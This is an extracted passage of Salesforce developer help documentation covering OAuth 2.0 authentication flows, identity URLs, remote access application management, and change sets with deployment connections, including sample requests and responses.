Using Identity URLs on page 2016. signatureBase64-encoded HMAC-SHA256 signature signed with the consumer's private key containing the concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the server. issued_atWhen the signature was created.

The following is a JSON example response from Salesforce:


{ "id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P", "issued_at":"1278448384422","instance_url":"https://na1.salesforce.com", "signature":"SSSbLO/gBhmmyNUvN18ODBDFYHzakxOMgqYtu+hDPsc=", "access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7T rqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4"}

The following is an XML example response:


<oauth> <access_token>00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNB aT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4 </access_token> <instance_url>https://na1.salesforce.com</instance_url> <id>https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P</id> <issued_at>1278448101416</issued_at> <signature>CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe+fVg=</signature> </oauth>

The following is an URL encoded example:


access_token=00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0 RNBaT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze 9JksNEkWUl.Cju7m4

2008

Develop

Authenticating Remote Access Application OAuth

& instance_url=https%3A%2F%2Fna1.salesforce.com & id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx0000000BV 7z%2F005x00000012Q9P & issued_at=1278448101416 & signature=CMJ4l%2BCCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe%2BfVg%3D

If a problem occurs during this step, the response contains an error message with these parts:
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_client_idclient identifier invalid invalid_requestHTTPS required invalid_requestmust use HTTP POST invalid_client_credentialsclient secret invalid invalid_requestsecret type not supported invalid_grantexpired access/refresh token invalid_grantIP restricted or invalid login hours inactive_useruser is inactive inactive_orgorganization is locked, closed, or suspended rate_limit_exceedednumber of logins exceeded invalid_scoperequested scope is invalid, unknown, or malformed

Any login error not listed receives a generic authentication failure with text describing the error. For example, LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

The following is an example of an error response:


{"error":"invalid_client_credentials","error_description":"client secret invalid"}

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 2.0 Web Server Authentication Flow OAuth 2.0 User-Agent Flow

SAML Assertion Flow

2009

Develop

Authenticating Remote Access Application OAuth

Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The SAML assertion flow is an alternative for organizations that are currently using SAML to access Salesforce using single sign-on, and want to access the Web services API the same way. The SAML assertion flow can only be used inside a single organization. You do not have to create a remote access application to use this assertion flow. Clients can use this to federate with the API using a SAML assertion, in much the same way as they would federate with Salesforce for Web single sign-on. See About Single Sign-On on page 630. The following are the general steps for using this flow. Many of the steps are described in more detail, below. 1. Configure SAML on page 2010 for your organization. You must use SAML version 2.0. . 2. Exchange a SAML assertion for an access token. 3. Salesforce sends the response. Configuring SAML for OAuth To configure your organization to use SAML, follow the instructions in Configuring SAML Settings for Single Sign-On. Once you have configured SAML, you can use the exact same configuration for both Web and API federation. Two URLs are provided after you configure SAML for your organization:
Salesforce.com Login URLUse this URL when doing Web single sign-on OAuth 2.0 Token EndpointUse this URL when exchanging a SAML assertion for an access token to be used with

the API. When generating SAML assertions to be used with the token endpoint, the recipient URL in the assertion may be the value from either the OAuth 2.0 Token Endpoint or the Salesforce.com Login URL. Exchange a SAML Assertion for an Access Token In order to exchange a SAML assertion for an access token, your client must obtain or generate a valid SAML response and POST this to the token endpoint. The method of obtaining this response is up to the client to determine. Once the client has a valid response, it sends the following parameters:
grant_typeValue must be assertion for this flow. assertionA Base-64 encoded SAML response that would normally be used for Web single sign-on assertion_typeMust be urn:oasis:names:tc:SAML:2.0:profiles:SSO:browser formatExpected return format. This parameter is optional. The default is json. Values are:

urlencoded json xml

2010

Develop

Authenticating Remote Access Application OAuth

The following is the body of an example of an out-of-band POST made to the https://login.salesforce.com/services/oauth2/token:
grant_type=assertion&assertion_type= urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aprofiles%3ASSO%3Abrowser& assertion=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHNhbW. . .

Salesforce Server Sends a Response After the SAML response is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:
access_tokenSalesforce session ID that can be used with the Web services API. ididentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2016. The following is an example response from Salesforce:
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P", "instance_url":"https://na1.salesforce.com","access_token": "00Dx0000000BV7z!AR8AQNhMmQeDIKR0.hZagSTaEPCkmoXeYnkaxQnqWlG6Sk9U3i3IFjEH IzDlsYdU0qoVCXNJtPOwdb7u5rKfq9NldfAKoQjd"}

If an error occurs during this step, the response contains an error message with these parts:
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_requestHTTPS required invalid_requestmust use HTTP POST invalid_assertion_typespecified assertion type is not supported invalid_grantinvalid authorization code invalid_grantIP restricted or invalid login hours inactive_useruser is inactive inactive_orgorganization is locked, closed, or suspended rate_limit_exceedednumber of logins exceeded

Any login error not listed receives a generic authentication failure with text describing the error. For example, LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

error_uriA link to the SAML Assertion Validator, which contains more information about the failure. This is only

returned when Salesforce is able to parse the assertion. See Validating SAML Settings for Single Sign-On on page 648. The following is an example error:
{"error_uri":"https://na1.salesforce.com/setup/secur/SAMLValidationPage.apexp", "error":"invalid_grant","error_description":"invalid assertion"}

2011

Develop

Authenticating Remote Access Application OAuth

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth Using the Access Token Using Identity URLs

OAuth 2.0 Username-Password Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The username-password authentication flow can be used as a replacement for an existing login when the consumer already has the user's credentials. Caution: This OAuth authentication flow involves passing the user's credentials back and forth. Salesforce recommends using this authentication flow only when necessary. The following are the steps for the username-password authentication flow. More detail about each step follows: 1. The consumer uses the end-user's username and password to request an access token (session ID.) 2. After the request is verified, Salesforce sends a response to the client. After a consumer has an access token, they can use the access token to access Salesforce data on the end-user's behalf. Request an Access Token The consumer can use the end-user's username and password to request an access token, which can be used as a session ID. The consumer should make an out-of-band POST request to the token endpoint, with the following parameters:
grant_typeValue must be password for this flow. client_idConsumer key from the remote access application definition. client_secretConsumer secret from the remote access application definition. usernameEnduser username. passwordEnduser password

Note: When using the username-password flow with the API, be sure to create a field in the username and password login screen where users can input their security token. You must concatenate their password and token when passing the request for authentication. For more information about security tokens, see Resetting Your Security Token on page 44
formatExpected return format. This parameter is optional. The default is json. Values are:

urlencoded json

2012

Develop

Authenticating Remote Access Application OAuth

xml The following is an example of the body of the out-of-band POST:


grant_type=basic-credentials&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82Hn FVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret= 1955279925675241571&username=testuser%40salesforce.com&password=mypassword

Send Response After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:
access_tokenSalesforce session ID that can be used with the Web services API. instance_urlURL indicating the instance of the user's organization. In this example, the instance is na1: https://na1.salesforce.com. ididentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2016. signatureBase64-encoded HMAC-SHA256 signature signed with the consumer's private key containing the concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the server. issued_atWhen the signature was created. Note: No refresh token is sent with this response.

The following is an example response:


{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P", "issued_at":"1278448832702","instance_url":"https://na1.salesforce.com", "signature":"0CmxinZir53Yex7nE0TD+zMpvIWYGb/bdJh6XfOH6EQ=","access_token": "00Dx0000000BV7z!AR8AQAxo9UfVkh8AlV0Gomt9Czx9LjHnSSpwBMmbRcgKFmxOtvxjTrKW1 9ye6PE3Ds1eQz3z8jr3W7_VbWmEu4Q8TVGSTHxs"}

If a problem occurs during this step, the response contains an error message with these parts:
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_client_idclient identifier invalid invalid_requestHTTPS required invalid_requestmust use HTTP POST invalid_client_credentialsclient secret invalid invalid_grantinvalid user credentials invalid_grantIP restricted or invalid login hours inactive_useruser is inactive inactive_orgorganization is locked, closed, or suspended rate_limit_exceedednumber of logins exceeded invalid_scoperequested scope is invalid, unknown, or malformed

2013

Develop

Authenticating Remote Access Application OAuth

Any login error not listed receives a generic authentication failure with text describing the error. For example, LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

The following is an example of a returned error:


{"error":"invalid_client_credentials","error_description":"client secret invalid"}

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth Using the Access Token Using Identity URLs

OAuth 2.0 JWT Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

A JSON Web token (JWT) is a JSON-based security token encoding that enables identity and security information to be shared across security domains. Salesforce supports JWT in requesting an OAuth 2.0 access token from a corporate portal or identity provider. The JWT token has three token segments: Header segment ( base64url encoded JSON) defines algorithm used to encode the signature and the type of token. Body ( base64url encoded JSON) client id (iss), username(prn) and expiration times of the token. Signature ( base64url encoded JSON) Encrypted string of Header + '.' + body in their encoded forms.

The general flow for a JWT bearer token is similar to a refresh token flow within OAuth. It is a way to exchange authentication information after a prior client is authorized by the user. An exchange is done from one SSO provider to another using shared secrets that don't go across the user's browser. The following are the steps for the JWT token authentication flow. 1. 2. 3. 4. Client creates Remote Access application and signs with shared secret. Client sends over the bearer token through a direct call to token servlet. Token servlet validates signature with the shared secret. Access token is created and sent back to client.

2014

Develop

Authenticating Remote Access Application OAuth

Client Creates Remote Access Application During this step, the client must create a Remote Access application in an organization so they can get a consumer secret. Using this secret, the client writes an application that generates a JWT token with one of the following: Private key for RSA256 based signature The public key is uploaded using Remote Access. Consumer secret for HMAC256 signature.

Client Sends JWT Token The client creates and sends the JWT request to, Salesforce with the following parameters: Prn (principal) claim Username of the user getting the token. If client_id, then client is authenticating as itself. If user, then it's a regular impersonation flow with username, userid/orgid, userurl. Iss (issuer) claim Consumer key from the remote access. Exp (expirations) claim When the token expires. this limits the time window during which the JWT can be used. aud (audience) claim contains a URI reference that identifies the authorization server as the intended audience. The authorization server MUST verify that it is an intended audience for the JWT. (optional) iat (issued at) claim the UTC time at which the JWT was issued. Note: Scopes are not supported in this flow.

Here is a sample JWT request:


{"iss":"https://jwt-idp.example.com", "prn":"mailto:mike@example.com", "aud":"https://jwt-rp.example.net", "iat":1300815780, "exp":1300819380, "http://claims.example.com/member":true}

Server Validates the Token The request is evaluated based of the following information: prn (principal) claim Username of the user getting the token. If client_id, then client is authenticating as itself. If user, then it's a regular impersonation flow with username, userid/orgid, userurl. iss (issuer) claim Consumer key from the remote access. exp (expirations) claim When the token expires. this limits the time window during which the JWT can be used. aud (audience) claim contains a URI reference that identifies the authorization server as the intended audience. The authorization server MUST verify that it is an intended audience for the JWT.

Server Sends a Response After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:
access_tokenSalesforce session ID that can be used with the Web services API.

If the JWT is not valid or has expired, the authorization server constructs an error response. The value of the error parameter MUST be the invalid_grant error code. The authorization server may include additional information regarding the reasons the JWT was considered invalid using the error_description or error_uri parameters.

2015

Develop

Authenticating Remote Access Application OAuth

Using the Access Token


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

After a consumer using OAuth version 2.0 has an access token, the method of using the token depends on the API being used. For the SOAP API, the access token is placed in the Salesforce SOAP authentication header. See Web Services API Developer's Guide. For the identity URL, use either an HTTP authorization header (as with the REST API) or use as an HTTP parameter oauth_token.

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 2.0 Web Server Authentication Flow OAuth 2.0 User-Agent Flow OAuth 2.0 Username-Password Flow Using Identity URLs

Using Identity URLs


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

In addition to the access token, an identity URL is also returned as part of a complete response, in the id parameter. The identity URL is both a string that uniquely identifies a user, as well as a RESTful API that can be used to query (with a valid access token) for additional information about the user. Salesforce returns basic personalization information about the user, as well as important endpoints that the client can talk to, such as photos for the user, and API endpoints it may access. The format of the URL is: https://login.salesforce.com/ID/orgID/userID, where orgId is the ID of the Salesforce organization that the user belongs to, and userID is the Salesforce user ID.

2016

Develop

Authenticating Remote Access Application OAuth

Note: For Force.com Sandbox, login.salesforce.com is replaced with test.salesforce.com. The URL must always be HTTPS. Identity URL Parameters The following parameters can be used with the access token and identity URL. They are used in an authorization request header or in a request with the oauth_token parameter. For more details, see Using the Access Token on page 2016. Parameter Access token Format Description See Using the Access Token on page 2016. This parameter is optional. Specify the format of the returned output. Valid values are: urlencoded json xml Instead of using the format parameter, the client can also specify the returned format in an accept-request header using one of the following:
Accept: application/json Accept: application/xml Accept: application/x-www-form-urlencoded

Note the following: Wildcard accept headers are allowed. */* is accepted and returns JSON. A list of values is also accepted and is checked left-to-right. For example:
application/xml,application/json,application/html,*/*

returns XML. The format parameter takes precedence over the accept request header.

Version

This parameter is optional. Specify a Web services API version number, or the literal string, latest. If this value isn't specified, the returned API URLs contains the literal value {version}, in place of the version number, for the client to do string replacement. If the value is specified as latest, the most recent API version is used. This parameter is optional, and in only accepted in a header, not as a URL parameter. Specify the output to be better formatted. For example, use the following in a header: X-PrettyPrint:1. If this value isn't specified, the returned XML or JSON is optimized for size rather than readability. This parameter is optional. Specify a valid JavaScript function name. This parameter is only used when the format is specified as JSON. The output is wrapped in this function name (JSONP.) For example, if a request to

PrettyPrint

Callback

2017

Develop

Authenticating Remote Access Application OAuth

Parameter

Description
https://server/id/orgid/userid/ returns {"foo":"bar"}, a request to https://server/id/orgid/userid/?callback=baz returns baz({"foo":"bar"});.

Identity URL Response After making a valid request, a 302 redirect to an instance URL is returned. That subsequent request returns the following information in JSON format:
idThe identity URL (the same URL that was queried) asserted_userA boolean value, indicating whether the specified access token used was issued for this identity user_idThe Salesforce user ID usernameThe Salesforce username organization_idThe Salesforce organization ID nick_nameThe community nickname of the queried user display_nameThe display name (full name) of the queried user emailThe email address of the queried user statusThe user's current Chatter status.

created_date:xsd datetime value of the creation date of the last post by the user, for example, 2010-05-08T05:17:51.000Z body: the body of the post
photosA map of URLs to the user's profile pictures

Note: Accessing these URLs requires passing an access token. See Using the Access Token on page 2016.

picture thumbnail
urlsA map containing various API endpoints that can be used with the specified user.

Note: Accessing the REST endpoints requires passing an access token. See Using the Access Token on page 2016.

enterprise (SOAP) metadata (SOAP) partner (SOAP) profile feeds (Chatter) feed-items (Chatter) groups (Chatter) users (Chatter) custom_domainThis value is omitted if the organization doesn't have a custom domain configured and propagated

(see My Domain Overview on page 358)


activeA boolean specifying whether the queried user is active

2018

Develop

Authenticating Remote Access Application OAuth

user_typeThe type of the queried user languageThe queried user's language localeThe queried user's locale utcOffsetThe offset from UTC of the timezone of the queried user, in milliseconds last_modified_datexsd datetime format of last modification of the user, for example, 2010-06-28T20:54:09.000Z

The following is a response using XML format:


<?xml version="1.0" encoding="UTF-8"?> <user xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <id>http://na1.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9</id> <asserted_user>true</asserted_user> <user_id>005x0000001S2b9</user_id> <organization_id>00Dx0000001T0zk</organization_id> <nick_name>admin1.2777578168398293E12foofoofoofoo</nick_name> <display_name>Alan Van</display_name> <email>admin@2060747062579699.com</email> <status> <created_date xsi:nil="true"/> <body xsi:nil="true"/> </status> <photos> <picture>http://na1.salesforce.com/profilephoto/005/F</picture> <thumbnail>http://na1.salesforce.com/profilephoto/005/T</thumbnail> </photos> <urls> <enterprise>http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk </enterprise> <metadata>http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk </metadata> <partner>http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk </partner> <rest>http://na1.salesforce.com/services/data/v{version}/ </rest> <sobjects>http://na1.salesforce.com/services/data/v{version}/sobjects/ </sobjects> <search>http://na1.salesforce.com/services/data/v{version}/search/ </search> <query>http://na1.salesforce.com/services/data/v{version}/query/ </query> <profile>http://na1.salesforce.com/005x0000001S2b9 </profile> </urls> <active>true</active> <user_type>STANDARD</user_type> <language>en_US</language> <locale>en_US</locale> <utcOffset>-28800000</utcOffset> <last_modified_date>2010-06-28T20:54:09.000Z</last_modified_date> </user>

The following is a response using JSON format:


{"id":"http://na1.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9", "asserted_user":true, "user_id":"005x0000001S2b9", "organization_id":"00Dx0000001T0zk", "nick_name":"admin1.2777578168398293E12foofoofoofoo", "display_name":"Alan Van", "email":"admin@2060747062579699.com", "status":{"created_date":null,"body":null}, "photos":{"picture":"http://na1.salesforce.com/profilephoto/005/F", "thumbnail":"http://na1.salesforce.com/profilephoto/005/T"},

2019

Develop

Authenticating Remote Access Application OAuth

"urls": {"enterprise":"http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk", "metadata":"http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk", "partner":"http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk", "rest":"http://na1.salesforce.com/services/data/v{version}/", "sobjects":"http://na1.salesforce.com/services/data/v{version}/sobjects/", "search":"http://na1.salesforce.com/services/data/v{version}/search/", "query":"http://na1.salesforce.com/services/data/v{version}/query/", "profile":"http://na1.salesforce.com/005x0000001S2b9"}, "active":true, "user_type":"STANDARD", "language":"en_US", "locale":"en_US", "utcOffset":-28800000, "last_modified_date":"2010-06-28T20:54:09.000+0000"}

After making an invalid request, the following are possible responses from Salesforce: Request Problem HTTP Missing access token Invalid access token Users in a different organization Invalid or bad user or organization ID Error Code 403 (forbidden) HTTPS_Required 403 (forbidden) Missing_OAuth_Token 403 (forbidden) Bad_OAuth_Token 403 (forbidden) Wrong_Org 404 (not found) Bad_Id

Deactivated user or inactive organization 404 (not found) Inactive User lacks proper access to organization 404 (not found) No_Access or information Request to the endpoint of a site Invalid version Invalid callback 404 (not found) No_Site_Endpoint 406 (not acceptable) Invalid_Version 406 (not acceptable) Invalid_Callback

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 2.0 Web Server Authentication Flow OAuth 2.0 User-Agent Flow OAuth 2.0 Username-Password Flow Using the Access Token

Deleting Remote Access Applications

2020

Develop

Deleting Remote Access Applications

Available in: Professional, Enterprise, Unlimited, and Database.com Editions Managed Packages are not available in Database.com

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

When you delete a remote access application contained in a managed package, access to that application is immediately removed from all subscribing organizations. The subscribing organizations do not have to wait until a new version of the managed package is released. Do not delete remote access applications unless you are certain this is the correct behavior. Click Delete to delete the remote access application. Click Cancel to go back to the previous page.

See Also:
Remote Access Application Overview Defining Remote Access Applications

Viewing Remote Access Application Details


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

Use the remote access pages to specify remote access applications that can access a Salesforce instance. To view the details for a defined application, click Your Name > Setup > Develop > Remote Access, and click the name of the application. From this page you can do any of the following: EditChange the name, contact information, and so on. Note: Even if you change the name of the application, the consumer key and consumer secret are not regenerated. Once you add a remote access application to a package, you cannot remove it. The only way to remove a remote access application from a package is to delete it from your organization.

2021

Develop

Remote Access Application Request

DelDelete the remote access application.

See Also:
Remote Access Application Overview Defining Remote Access Applications

Remote Access Application Request


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The external application you are using is requesting access to your Salesforce data. The external application has already been integrated into Salesforce by your administrator. To grant this application access to your Salesforce data, click Accept. If the description of the application does not match the application you are currently using or for any other reason you do not want to grant access to your data, click Deny. If the currently logged in user is not you, click Not you? to log out the current user and log in as yourself. You can only grant access to an external application a specific number of times. Generally, you grant access for every device you use, such as a laptop and a desktop computer. The default is five per application. If you've reached the limit for your organization, granting access to this application automatically revokes access to the token or tokens for this application that haven't been used for the longest period of time. The remote access application token or tokens that will be revoked display on the page. After you have granted access to a remote access application, you can revoke it later by clicking Your Name > Setup > My Personal Information > Personal Information, then in the Remote Access related section, click Revoke.

See Also:
Remote Access Application Overview

Remote Access Application Request Approved

2022

Develop

Remote Access Application Request

Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The external application you are using has requested access to your Salesforce data, and you approved this request. Close the browser window and go back to the application you were using. After you have granted access to a remote access application, you can revoke it later by clicking Your Name > Setup > My Personal Information > Personal Information, then in the Remote Access related section, click Revoke.

See Also:
Remote Access Application Overview Remote Access Application Request

Remote Access Application Request Denied


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The external application you are using has requested access to your Salesforce data and you denied this access. You should log out of Salesforce. You can go back to the originating application.

See Also:
Remote Access Application Overview Remote Access Application Request

Managing Your Remote Access Applications

2023

Develop

Managing Your Remote Access Applications

Available in: All Editions Salesforce Mobile is not available in Database.com

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

A remote access application is an application external to Salesforce that uses the OAuth protocol to verify both the Salesforce user and the external application. All remote access applications have been integrated with Salesforce, such that they can access a subset of your Salesforce data once you explicitly grant each application permission. All remote access applications that have permission to access your Salesforce data are listed in your personal information. Click Your Name > Setup > My Personal Information > Personal Information, and go to the Remote Access section. From there you can do the following: View information about each remote access application that you have granted access to, as well as the number of times and the last time the application attempted to access your information. Note: An application may be listed more than once. Each time you grant access to an application, it obtains a new access token. You must grant access to your Salesforce data from each device that you use, for example, from both a laptop and a desktop computer. The default limit is five access tokens for each application. Newer applications (using the OAuth 2.0 protocol) are automatically approved for additional devices after you've granted access once. OAuth 2.0 applications are only listed once. Even if the remote access application tried and failed to access your information because it could not login, the Use Count and Last Used fields are still updated. Click Revoke to revoke the remote access application. After you revoke the application, the application can no longer use that particular remote access authorization token to access your Salesforce data. Important: You must revoke all access tokens for a particular application to prevent it from accessing your Salesforce data.

If you're using Salesforce Mobile and want to use a new mobile device, download the app on the new device and log in. You do not need to revoke the token on the old device; Salesforce automatically creates a new one.

See Also:
Remote Access Application Overview

2024

Deploy

Deployment Overview

DEPLOY
Deployment Overview
User Permissions Needed To edit deployment connections: To use outbound change sets: Deploy Change Sets Create and Upload Change Sets, Create AppExchange Packages, AND Upload AppExchange Packages To use inbound change sets: Deploy Change Sets

Click Your Name > Setup > Deploy to access tools used for migrating metadata changes between organizations. Deployment Connections In order to use the change sets feature, a deployment connection is required. You can specify connection permissions for both outbound and inbound change sets on the Deployment Connections page. Outbound Change Sets Make changes in the organization you are logged into, and upload those changes to another organization. Inbound Change Sets Accept, modify, or reject change sets uploaded from other organizations. Monitor Deployments Monitor the progress of deployments made through the Metadata API. Note: Configuration changes deployed using change sets do not appear on the Monitor Deployments page.

See Also:
Change Sets Overview Monitoring Metadata Deployments

2025

Deploy

Change Sets Overview

CHANGESETS
Change Sets Overview
Available in Enterprise, Unlimited, Free, and Database.com Editions

User Permissions Needed To edit deployment connections: To use outbound change sets: Deploy Change Sets Create and Upload Change Sets, Create AppExchange Packages, AND Upload AppExchange Packages To use inbound change sets: Deploy Change Sets

A change set is a means by which one organization can send customizations to another organization. For example, you could create a new object in a sandbox organization and send it to your production organization using a change set. Change sets can only contain modifications you can make through the Setup menu; therefore, you can't use a change set to upload a list of contact records. In other words, change sets contain metadata, not data. When you want to send customizations from your current organization to another organization, you create an outbound change set. Once you send the change set, the receiving organization sees it as an inbound change set. Sending a change set between two organizations requires a deployment connection. Currently, change sets can only be sent between organizations that are affiliated with a production organization, for example, a production organization and a sandbox, or two sandboxes created from the same organization.

See Also:
Components Available in Change Sets Deployment Connections Outbound Change Sets Inbound Change Sets Change Sets Implementation Tips Change Sets Best Practices

Components Available in Change Sets


The following types of components may be added to a change set.

2026

Deploy

Components Available in Change Sets

Note: The components available for a change set vary by edition.

Analytic Snapshot Apex Class Apex Sharing Reason Apex Trigger App Button or Link Custom Data Type Custom Field Custom Label Custom Object Custom Report Type Custom Setting Dashboard Document Email Template Folder Home Page Component Home Page Layout Letterhead Language Translation List View Page Layout Permission Set Record Type Remote Site Report S-Control Static resource Tab Validation Rule Visualforce Component Visualforce Page Workflow Email Alert Workflow Field Update Workflow Outbound Message Workflow Rule Workflow Task Workflow Time Trigger

2027

Deploy

About Permission Sets and Profile Settings in Change Sets

Note: If you create or modify components that are not available in a change set, you can't send those components from one organization to another in a change set. In this case, migrate the changes manually by repeating the steps you performed when you created or modified the component.

See Also:
Force.com Metadata API Developer's Guide Change Sets Overview

About Permission Sets and Profile Settings in Change Sets


Available in Enterprise, Unlimited, and Database.com Editions

Developers can use permission sets or profile settings to specify permissions and other access settings in a change set. When deciding whether to use permission sets, profile settings, or a combination of both, consider the similarities and differences. Behavior What permissions and settings are included? Permission Sets Added as a component? Require supporting components to be installed? Standard and custom object permissions Standard and custom field permissions User permissions (such as API Enabled) Apex class access Visualforce page access Profile Settings Assigned apps Tab settings Page layout assignments Record type assignments Custom object permissions Custom field permissions Apex class access Visualforce page access

Yes

No. Profiles are added in a separate setting.

For custom objects and fields, yes. For Yes example, object permissions for the custom object Items are included only if the Items object is also included. However, user, standard object, and standard field permissions don't require supporting components to be installed.

Deployment Connections

2028

Deploy

Deployment Connections

User Permissions Needed To edit deployment connections: Deploy Change Sets

In order for change sets to be sent from one organization to another, a deployment connection is required between the organizations. Deployment connections can't be created between arbitrary organizations; instead, a deployment connection is created between all organizations affiliated with a production organization. For example, if you have a production organization (Prod) and two sandboxes (Dev and Test), a deployment connection is created between production and each sandbox (Prod and Dev, and another connection between Prod and Test), as well as between the sandboxes (Dev and Test). A deployment connection alone doesn't enable change sets to be sent between organizations. Each organization must be authorized to send and receive change sets. This added level of security enforces code promotion paths and keeps organizations' setup metadata from being overwritten by mistake. For example, the following figure illustrates one possible migration path for a production organization and two sandboxes. In this example, the production organization can only receive changes that have been fully tested, so only the Test sandbox is authorized to upload change sets to production. In order to synchronize development projects with the production organization, the Prod organization can send change sets to the Dev sandbox, but not to the Test sandbox. Finally, because the features in development need iterative testing, Dev and Test sandboxes should be able to send change sets back and forth.

Figure 19: Change Set Authorization Enforces Code Path Note: This illustration describes one possible code migration path. Your department must create its own policies for organizations to send and receive change sets to one another.

See Also:
Viewing Available Deployment Connections Viewing Details of a Deployment Connection Authorizing a Deployment Connection Change Sets Overview

Viewing Available Deployment Connections


2029

Deploy

Viewing Available Deployment Connections

A deployment connection enables customizations to be copied from one organization to another. The deployment connections list shows which organizations are authorized to upload changes to this organization, and which organizations allow this organization to upload changes to them. To view available connections, click Your Name > Setup > Deploy > Deployment Connections Action Click Edit next to the organization that you want to allow or disallow change sets from. Name A list of organizations that have deployment connections to the organization you are currently logged into. Click the name of an organization to view more information about the connection. Description A brief description of the connected organizations. Type The type of organization you are connected to. Possible values are Production, Full Copy Sandbox, Configuration-only Sandbox, and Developer Sandbox. Upload Authorization Direction The arrows show the direction in which uploads can occur. A broken line means that no change sets are authorized in either direction. To authorize the connected organization to send you inbound change sets, edit the deployment connection for this organization. If you want to send outbound change sets to a connected organization, the administrator for that organization must edit the connection for that organization.

See Also:
Viewing Details of a Deployment Connection Authorizing a Deployment Connection Change Sets Overview

Viewing Details of a Deployment Connection


A deployment connection enables customizations to be copied from one organization to another. The deployment connections list shows which organizations are authorized to upload changes to this organization, and which organizations allow this organization to upload changes to them. To view connection details: 1. Click Your Name > Setup > Deploy > Deployment Connections. 2. Click the name of the organization you want to view. Name The name of the selected organization. This is not the organization you are logged into. Description A brief description of the organization.

2030

Deploy

Authorizing a Deployment Connection

Type The type of organization you are connected to. Possible values are Production, Full Copy, Configuration-only, and Developer. Allow Inbound Changes If selected, the named organization can send change sets to the organization you are currently logged into. This is a read-only field and can only be modified by selecting Allow Inbound Changes in the target organization. Accepts Outbound Changes If selected, the named organization allows change sets to be sent to it from the organization you are currently logged into.

See Also:
Viewing Available Deployment Connections Authorizing a Deployment Connection Change Sets Overview

Authorizing a Deployment Connection


In order for another organization to send change sets to the organization you are logged into, you must authorize the inbound change set: 1. 2. 3. 4. Click Your Name > Setup > Deploy > Deployment Connections. Click Edit next to the organization you want to authorize. Select Allow Inbound Changes. Click Save.

See Also:
Viewing Available Deployment Connections Viewing Details of a Deployment Connection Change Sets Overview

Outbound Change Sets


User Permissions Needed To create, edit, or upload outbound change sets: Create and Upload Change Sets

Watch a Demo (2:30 minutes)

2031

Deploy

Outbound Change Sets

An outbound change set is a change set created in the organization you are logged into and that you want to send to another organization. Typically, an outbound change set is used for customizations created and tested in a sandbox and then sent to a production organization. Sending an outbound change set to another organization doesn't guarantee that the changes will be implemented in that organization. The change set must deployed (accepted) by the target organization before the changes take effect. Note: Change sets are limited to 2,500 components and a total file size of 400 MB.

See Also:
Outbound Change Sets Cloning an Outbound Change Set Selecting Components for an Outbound Change Set Uploading an Outbound Change Set Viewing and Adding Dependent Components to a Change Set Outbound Change Set Validation Errors Deleting an Outbound Change Set Change Sets Overview

Outbound Change Sets


